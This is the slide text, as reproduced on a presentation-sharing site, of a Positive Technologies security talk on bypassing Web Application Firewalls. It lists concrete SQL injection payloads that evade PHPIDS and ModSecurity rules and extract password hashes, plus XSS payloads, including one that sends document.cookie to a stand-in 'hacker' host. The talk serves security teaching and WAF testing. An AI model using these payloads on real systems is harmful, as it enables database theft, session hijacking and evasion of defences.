🗊Методы обхода Web Application Firewall Дмитрий Евтеев Positive Technologies

Категория: Технологии
Нажмите для полного просмотра!
Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №1Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №2Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №3Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №4Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №5Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №6Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №7Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №8Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №9Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №10Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №11Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №12Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №13Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №14Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №15Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №16Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №17Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №18Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №19Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №20Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №21Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №22Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №23Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №24Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №25Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №26Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №27Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №28Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №29Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №30Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №31Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №32Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №33Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №34Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №35Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №36Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №37Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №38Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №39Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №40Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №41Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №42Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №43Методы обхода Web Application Firewall  Дмитрий Евтеев  Positive Technologies, слайд №44

Содержание

Вы можете ознакомиться и скачать Методы обхода Web Application Firewall Дмитрий Евтеев Positive Technologies. Презентация содержит 44 слайдов. Презентации для любого класса можно скачать бесплатно. Если материал и наш сайт презентаций Вам понравились – поделитесь им с друзьями с помощью социальных кнопок и добавьте в закладки в своем браузере.

Слайды и текст этой презентации


Слайд 1





Методы обхода Web Application Firewall
Дмитрий Евтеев
Positive Technologies
Описание слайда:
Методы обхода Web Application Firewall Дмитрий Евтеев Positive Technologies

Слайд 2





О чем пойдет речь
Опасный мир Web-приложений
Какие бывают "спасители" от угроз
Web Application Firewall, что за новомодный зверь такой?
Методы обхода Web Application Firewall
Практика обхода Web Application Firewall
Пример из практики или почему CC’09 не был взломан
Резюме
Описание слайда:
О чем пойдет речь Опасный мир Web-приложений Какие бывают "спасители" от угроз Web Application Firewall, что за новомодный зверь такой? Методы обхода Web Application Firewall Практика обхода Web Application Firewall Пример из практики или почему CC’09 не был взломан Резюме

Слайд 3





Опасный мир Web-приложений
Описание слайда:
Опасный мир Web-приложений

Слайд 4





Опасный мир Web-приложений
Описание слайда:
Опасный мир Web-приложений

Слайд 5





Подходы по снижению угроз
Директивный подход (Directive)
Software Development Life Cycle  (SDLC), «бумажная безопасность», выстраивание высокоуровневых процессов
Детективный подход (Detective)
Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода
Профилактический подход (Preventive)
Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)
Описание слайда:
Подходы по снижению угроз Директивный подход (Directive) Software Development Life Cycle (SDLC), «бумажная безопасность», выстраивание высокоуровневых процессов Детективный подход (Detective) Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода Профилактический подход (Preventive) Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)

Слайд 6





Что такое WAF
Описание слайда:
Что такое WAF

Слайд 7





Какие они бывают
По режиму работы:
Мост/Маршрутизатор
Обратный прокси-сервер
Встроенный
По модели защиты:
Основанный на сигнатуре (Signature-based)
Основанный на правилах (Rule-based)
По реакции на «плохой» запрос:
«Очистка опасных» данных
Блокировка запроса
Блокировка источника атаки
Описание слайда:
Какие они бывают По режиму работы: Мост/Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты: Основанный на сигнатуре (Signature-based) Основанный на правилах (Rule-based) По реакции на «плохой» запрос: «Очистка опасных» данных Блокировка запроса Блокировка источника атаки

Слайд 8





Методы обхода WAF
Описание слайда:
Методы обхода WAF

Слайд 9





Методы обхода WAF
Фундаментальные ограничения технологии
Неспособность полностью защитить Web-приложение от всех возможных уязвимостей
Общие проблемы
При использовании универсальных фильтров WAF приходится балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика
Обработка возвращаемого трафика клиенту
Уязвимости реализации
Технологии нормализации
Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte, etc)
Описание слайда:
Методы обхода WAF Фундаментальные ограничения технологии Неспособность полностью защитить Web-приложение от всех возможных уязвимостей Общие проблемы При использовании универсальных фильтров WAF приходится балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte, etc)

Слайд 10





Методы обхода WAF – Фундаментальные ограничения
Небезопасное восстановление паролей (Weak Password Recovery Validation)
Описание слайда:
Методы обхода WAF – Фундаментальные ограничения Небезопасное восстановление паролей (Weak Password Recovery Validation)

Слайд 11





Практика обхода WAF. Глава I

          Внедрение операторов SQL (SQL Injection)








WASC: http://projects.webappsec.org/SQL-Injection
OWASP: http://www.owasp.org/index.php/SQL_Injection
Описание слайда:
Практика обхода WAF. Глава I Внедрение операторов SQL (SQL Injection) WASC: http://projects.webappsec.org/SQL-Injection OWASP: http://www.owasp.org/index.php/SQL_Injection

Слайд 12





SQL Injection – Базовые знания
Выделяют два вида SQL Injection
SQL Injection в строковом параметре
Пример: SELECT * from table where name = 'Name'
SQL Injection в цифровом параметре
Пример: SELECT * from table where id = 123
Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения

Уязвимый запрос может попасть в Insert, Update, Delete, etc
Пример: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'

Blind SQL Injection (слепое внедрение операторов SQL)
Пример: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now())))

Особенности эксплуатации для разных СУБД
Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3
Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
Описание слайда:
SQL Injection – Базовые знания Выделяют два вида SQL Injection SQL Injection в строковом параметре Пример: SELECT * from table where name = 'Name' SQL Injection в цифровом параметре Пример: SELECT * from table where id = 123 Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения Уязвимый запрос может попасть в Insert, Update, Delete, etc Пример: UPDATE users SET pass = '1' where user = 't1' OR 1=1--' Blind SQL Injection (слепое внедрение операторов SQL) Пример: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now()))) Особенности эксплуатации для разных СУБД Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3 Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3

Слайд 13





Практика обхода WAF: SQL Injection - нормализация
Пример (1) уязвимости в функции нормализации запроса
Следующий запрос не позволяет провести атаку
/?id=1+union+select+1,2,3/*
В случае наличия соответствующей уязвимости в WAF, такой запрос успешно отработает
/?id=1/*union*/union/*select*/select+1,2,3/*
После обработки WAF, запрос примет следующий вид
index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки
Описание слайда:
Практика обхода WAF: SQL Injection - нормализация Пример (1) уязвимости в функции нормализации запроса Следующий запрос не позволяет провести атаку /?id=1+union+select+1,2,3/* В случае наличия соответствующей уязвимости в WAF, такой запрос успешно отработает /?id=1/*union*/union/*select*/select+1,2,3/* После обработки WAF, запрос примет следующий вид index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/* Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки

Слайд 14





Практика обхода WAF: SQL Injection - нормализация
Пример (2) уязвимости в функции нормализации запроса
Аналогично, следующий запрос не позволяет провести атаку
/?id=1+union+select+1,2,3/*
В случае наличия соответствующей уязвимости в WAF, такой запрос успешно отработает
/?id=1+un/**/ion+sel/**/ect+1,2,3--
SQL запрос примет вид
SELECT * from table where id =1 union select 1,2,3--
Вместо конструкции /**/ могут использоваться любые наборы символов, вырезаемые WAF (eq #####, %00, etc)
Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)
Описание слайда:
Практика обхода WAF: SQL Injection - нормализация Пример (2) уязвимости в функции нормализации запроса Аналогично, следующий запрос не позволяет провести атаку /?id=1+union+select+1,2,3/* В случае наличия соответствующей уязвимости в WAF, такой запрос успешно отработает /?id=1+un/**/ion+sel/**/ect+1,2,3-- SQL запрос примет вид SELECT * from table where id =1 union select 1,2,3-- Вместо конструкции /**/ могут использоваться любые наборы символов, вырезаемые WAF (eq #####, %00, etc) Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)

Слайд 15





Практика обхода WAF: SQL Injection – HPP (пример 1)
Использование HTTP Parameter Pollution (HPP)
Следующий запрос не позволяет провести атаку
/?id=1;select+1,2,3+from+users+where+id=1--
Используя HPP, такой запрос успешно отработает
/?id=1;select+1&id=2,3+from+users+where+id=1--
Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения
OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Описание слайда:
Практика обхода WAF: SQL Injection – HPP (пример 1) Использование HTTP Parameter Pollution (HPP) Следующий запрос не позволяет провести атаку /?id=1;select+1,2,3+from+users+where+id=1-- Используя HPP, такой запрос успешно отработает /?id=1;select+1&id=2,3+from+users+where+id=1-- Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Слайд 16





Практика обхода WAF: SQL Injection – HPP
Как это работает?
Описание слайда:
Практика обхода WAF: SQL Injection – HPP Как это работает?

Слайд 17





Практика обхода WAF: SQL Injection - HPP
Описание слайда:
Практика обхода WAF: SQL Injection - HPP

Слайд 18





Практика обхода WAF: SQL Injection – HPP (пример 2)
Использование HTTP Parameter Pollution (HPP)
Уязвимый код
SQL="select key from table where id="+Request.QueryString("id")
Используя технику HPP, такой запрос успешно отработает
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
SQL запрос примет вид
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf
Описание слайда:
Практика обхода WAF: SQL Injection – HPP (пример 2) Использование HTTP Parameter Pollution (HPP) Уязвимый код SQL="select key from table where id="+Request.QueryString("id") Используя технику HPP, такой запрос успешно отработает /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users SQL запрос примет вид select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf

Слайд 19





Практика обхода WAF: SQL Injection – HPF
Использование HTTP Parameter Fragmentation (HPF)
Пример уязвимого кода
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']);
Следующий запрос не позволяет провести атаку
/?a=1+union+select+1,2/*
Используя HPF, такие запросы могут успешно отработать
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
SQL запросы принимают вид
select * from table where a=1 union/* and b=*/select 1,2
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html
Описание слайда:
Практика обхода WAF: SQL Injection – HPF Использование HTTP Parameter Fragmentation (HPF) Пример уязвимого кода Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']); Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']); Следующий запрос не позволяет провести атаку /?a=1+union+select+1,2/* Используя HPF, такие запросы могут успешно отработать /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- SQL запросы принимают вид select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users-- http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html

Слайд 20





Практика обхода WAF: Blind SQL Injection
Использование логических запросов AND и OR
Следующий запрос для многих WAF позволяет успешно провести атаку
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Вместо знака равенства может использоваться отрицание или неравенство (!=, <>, <, >) – Парадокс! Но многие WAF это пропускают.
Заменяя функции SQL, которые попадают в сигнатуры WAF, на их синонимы, становится возможным эксплуатировать уязвимость методом blind-SQL Injection
		substring() -> mid(), substr(), etc
		ascii() -> hex(), bin(), etc
		benchmark() -> sleep()
Данный пример справедлив для всех WAF, разработчики которых стремятся охватить как можно больше Web-приложений
Описание слайда:
Практика обхода WAF: Blind SQL Injection Использование логических запросов AND и OR Следующий запрос для многих WAF позволяет успешно провести атаку /?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Вместо знака равенства может использоваться отрицание или неравенство (!=, <>, <, >) – Парадокс! Но многие WAF это пропускают. Заменяя функции SQL, которые попадают в сигнатуры WAF, на их синонимы, становится возможным эксплуатировать уязвимость методом blind-SQL Injection substring() -> mid(), substr(), etc ascii() -> hex(), bin(), etc benchmark() -> sleep() Данный пример справедлив для всех WAF, разработчики которых стремятся охватить как можно больше Web-приложений

Слайд 21





Практика обхода WAF: Blind SQL Injection
Пример разнообразия логических запросов
and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
…
Описание слайда:
Практика обхода WAF: Blind SQL Injection Пример разнообразия логических запросов and 1 or 1 and 1=1 and 2<3 and 'a'='a' and 'a'<>'b' and char(32)=' ' and 3<=2 and 5<=>4 and 5<=>5 and 5 is null or 5 is not null …

Слайд 22





Практика обхода WAF: Blind SQL Injection
Пример различного представления запроса с одной смысловой нагрузкой
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
select user from mysql.user where user = 'user' OR substr(password,1,1)=0x2a
select user from mysql.user where user = 'user' OR substring(password,1,1)=0x2a 
…
Описание слайда:
Практика обхода WAF: Blind SQL Injection Пример различного представления запроса с одной смысловой нагрузкой select user from mysql.user where user = 'user' OR mid(password,1,1)='*' select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 select user from mysql.user where user = 'user' OR position(0x2a in password)=1 select user from mysql.user where user = 'user' OR locate(0x2a,password)=1 select user from mysql.user where user = 'user' OR substr(password,1,1)=0x2a select user from mysql.user where user = 'user' OR substring(password,1,1)=0x2a …

Слайд 23





Практика обхода WAF: Blind SQL Injection
Известные:
substring((select 'password'),1,1) = 0x70
substr((select 'password'),1,1) = 0x70 
mid((select 'password'),1,1) = 0x70 
Новые:
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
STRCMP(expr1,expr2) возвращает 0 если последовательности равны, -1 если первый аргумент меньше второго, и 1 в противном случае.
http://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html
Описание слайда:
Практика обхода WAF: Blind SQL Injection Известные: substring((select 'password'),1,1) = 0x70 substr((select 'password'),1,1) = 0x70 mid((select 'password'),1,1) = 0x70 Новые: strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 STRCMP(expr1,expr2) возвращает 0 если последовательности равны, -1 если первый аргумент меньше второго, и 1 в противном случае. http://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html

Слайд 24





Практика обхода WAF: Blind SQL Injection
Blind SQL Injection – это не всегда использование AND и OR!
Примеры уязвимого кода
Query("select * from table where uid=".$_GET['uid']);
Query("select * from table where card=".$_GET['card']);
Пример эксплуатации
false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233
false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233
true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233
первый символ hash = B

false: ...
false: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6240)%2B112233
true: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6241)%2B112233
второй символ hash = A
Описание слайда:
Практика обхода WAF: Blind SQL Injection Blind SQL Injection – это не всегда использование AND и OR! Примеры уязвимого кода Query("select * from table where uid=".$_GET['uid']); Query("select * from table where card=".$_GET['card']); Пример эксплуатации false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233 false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233 true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233 первый символ hash = B false: ... false: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6240)%2B112233 true: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6241)%2B112233 второй символ hash = A

Слайд 25





Практика обхода WAF: SQL Injection – обход сигнатур
Пример по обходу сигнатур
Следующий запрос попадает в сигнатуру WAF
/?id=1+union+(select+1,2+from+users)
Но порой, используемые сигнатуры можно обойти
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)
…
Описание слайда:
Практика обхода WAF: SQL Injection – обход сигнатур Пример по обходу сигнатур Следующий запрос попадает в сигнатуру WAF /?id=1+union+(select+1,2+from+users) Но порой, используемые сигнатуры можно обойти /?id=1+union+(select+'xz'from+xxx) /?id=(1)union(select(1),mid(hash,1,32)from(users)) /?id=1+union+(select'1',concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) /?id=(1)or(0x50=0x50) …

Слайд 26





Практика обхода WAF: SQL Injection – обход сигнатур
PHPIDS (0.6.1.1) – default rules
Ругается на: /?id=1+union+select+user,password+from+mysql.user+where+user=1
Но пропускает: /?id=1+union+select+user,password+from+mysql.user+limit+0,1 

Ругается на: /?id=1+OR+1=1
Но пропускает: /?id=1+OR+0x50=0x50

Ругается на: /?id=substring((1),1,1)
Но пропускает: /?id=mid((1),1,1)
Описание слайда:
Практика обхода WAF: SQL Injection – обход сигнатур PHPIDS (0.6.1.1) – default rules Ругается на: /?id=1+union+select+user,password+from+mysql.user+where+user=1 Но пропускает: /?id=1+union+select+user,password+from+mysql.user+limit+0,1 Ругается на: /?id=1+OR+1=1 Но пропускает: /?id=1+OR+0x50=0x50 Ругается на: /?id=substring((1),1,1) Но пропускает: /?id=mid((1),1,1)

Слайд 27





Практика обхода WAF: SQL Injection – обход сигнатур
Mod_Security (2.5.9) – default rules
Ругается на: /?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74
Но пропускает: /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

Ругается на: /?id=1+OR+1=1
Но пропускает: /?id=1+OR+0x50=0x50
Ругается на: /?id=1+and+5=6
Но пропускает: /?id=1+and+5!=6

Ругается на: /?id=1;drop members
Но пропускает: /?id=1;delete members
И пропускает: /?id=(1);exec('sel'+'ect(1)'+',(xxx)from'+'yyy')
Описание слайда:
Практика обхода WAF: SQL Injection – обход сигнатур Mod_Security (2.5.9) – default rules Ругается на: /?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74 Но пропускает: /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Ругается на: /?id=1+OR+1=1 Но пропускает: /?id=1+OR+0x50=0x50 Ругается на: /?id=1+and+5=6 Но пропускает: /?id=1+and+5!=6 Ругается на: /?id=1;drop members Но пропускает: /?id=1;delete members И пропускает: /?id=(1);exec('sel'+'ect(1)'+',(xxx)from'+'yyy')

Слайд 28





Резюме: Глава I - SQL Injection
Атака SQL Injection может быть успешно реализована в обход WAF во всех следующих случаях:
Присутствие уязвимостей в функциях нормализации запроса WAF
Использование техник HPP и HPF
Обход правил фильтрации (сигнатур)
Эксплуатация уязвимости методом blind SQL Injection
Атака на логику работы приложения (and & or)
Описание слайда:
Резюме: Глава I - SQL Injection Атака SQL Injection может быть успешно реализована в обход WAF во всех следующих случаях: Присутствие уязвимостей в функциях нормализации запроса WAF Использование техник HPP и HPF Обход правил фильтрации (сигнатур) Эксплуатация уязвимости методом blind SQL Injection Атака на логику работы приложения (and & or)

Слайд 29





Практика обхода WAF. Глава II

Межсайтовое выполнение сценариев 
(Cross-site Scripting, XSS)







The Cheat Sheet: http://ha.ckers.org/xss.html
WASC: http://projects.webappsec.org/f/ScriptMapping_Release_26Nov2007.html
OWASP: http://www.owasp.org/index.php/Cross-Site_Scripting
Описание слайда:
Практика обхода WAF. Глава II Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) The Cheat Sheet: http://ha.ckers.org/xss.html WASC: http://projects.webappsec.org/f/ScriptMapping_Release_26Nov2007.html OWASP: http://www.owasp.org/index.php/Cross-Site_Scripting

Слайд 30





Cross-Site Scripting – Базовые знания
Условно Cross-Site Scripting (XSS) делят на:
Сохраненный вариант (persistent/stored)
Отраженный вариант (non-persistent/reflected)
Cross-Site Scripting обычно можно встретить:
В HTML теге
В теле JavaScript/VBScript/etc (eq DOM-based)
В коде HTML
В параметре тега HTML
В Java
Во Flash
Cross-Site Scripting – это уязвимость на стороне клиента (client side)
Microsoft Internet Explorer 8 XSS filter
Mozilla NoScript Firefox extension
Описание слайда:
Cross-Site Scripting – Базовые знания Условно Cross-Site Scripting (XSS) делят на: Сохраненный вариант (persistent/stored) Отраженный вариант (non-persistent/reflected) Cross-Site Scripting обычно можно встретить: В HTML теге В теле JavaScript/VBScript/etc (eq DOM-based) В коде HTML В параметре тега HTML В Java Во Flash Cross-Site Scripting – это уязвимость на стороне клиента (client side) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension

Слайд 31





Методы обхода WAF – Cross-Site Scripting
Общие проблемы

Сохраненный вариант XSS
В случае, если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки

Отраженный вариант XSS в Javascript
Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Эксплуатация: /?xss=500); alert(document.cookie);//

DOM-based XSS
Пример: <script> ... eval($_GET[xss]); ... </script>
Эксплуатация: /?xss=document.cookie
Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8)
Описание слайда:
Методы обхода WAF – Cross-Site Scripting Общие проблемы Сохраненный вариант XSS В случае, если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки Отраженный вариант XSS в Javascript Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script> Эксплуатация: /?xss=500); alert(document.cookie);// DOM-based XSS Пример: <script> ... eval($_GET[xss]); ... </script> Эксплуатация: /?xss=document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8)

Слайд 32





Практика обхода WAF: Cross-Site Scripting
XSS через перенаправление запроса
Уязвимый код:
…
header('Location: '.$_GET['param']);
…
А также:
…
header('Refresh: 0; URL='.$_GET['param']);
…

Такой запрос WAF не пропустит:
/?param=javascript:alert(document.cookie)

Подобный запрос WAF пропустит и XSS отработает на некоторых браузерах (Opera, Safary, Chrom, etc):
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html
Описание слайда:
Практика обхода WAF: Cross-Site Scripting XSS через перенаправление запроса Уязвимый код: … header('Location: '.$_GET['param']); … А также: … header('Refresh: 0; URL='.$_GET['param']); … Такой запрос WAF не пропустит: /?param=javascript:alert(document.cookie) Подобный запрос WAF пропустит и XSS отработает на некоторых браузерах (Opera, Safary, Chrom, etc): /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html

Слайд 33





Практика обхода WAF: Cross-Site Scripting
Использование HPP, HPF иногда позволяет обойти фильтры
Обход правил фильтрации на примере ModSecurity:
<img src="x:alert" onerror="eval(src%2b'(0)')">
";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');"
...
BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
Описание слайда:
Практика обхода WAF: Cross-Site Scripting Использование HPP, HPF иногда позволяет обойти фильтры Обход правил фильтрации на примере ModSecurity: <img src="x:alert" onerror="eval(src%2b'(0)')"> ";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');" ... BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

Слайд 34





Резюме: Глава II - Cross-Site Scripting
Атака Cross-Site Scripting может быть успешно реализована в обход WAF во всех следующих случаях:
Эксплуатация DOM-based XSS
Использование техник HPP и HPF
Аналогично эксплуатации SQL Injection - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF
Описание слайда:
Резюме: Глава II - Cross-Site Scripting Атака Cross-Site Scripting может быть успешно реализована в обход WAF во всех следующих случаях: Эксплуатация DOM-based XSS Использование техник HPP и HPF Аналогично эксплуатации SQL Injection - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF

Слайд 35





Практика обхода WAF. Глава III

Обратный путь в директориях и инклудинг файлов 
(Path Traversal, Local/Remote File Including)







WASC: http://projects.webappsec.org/
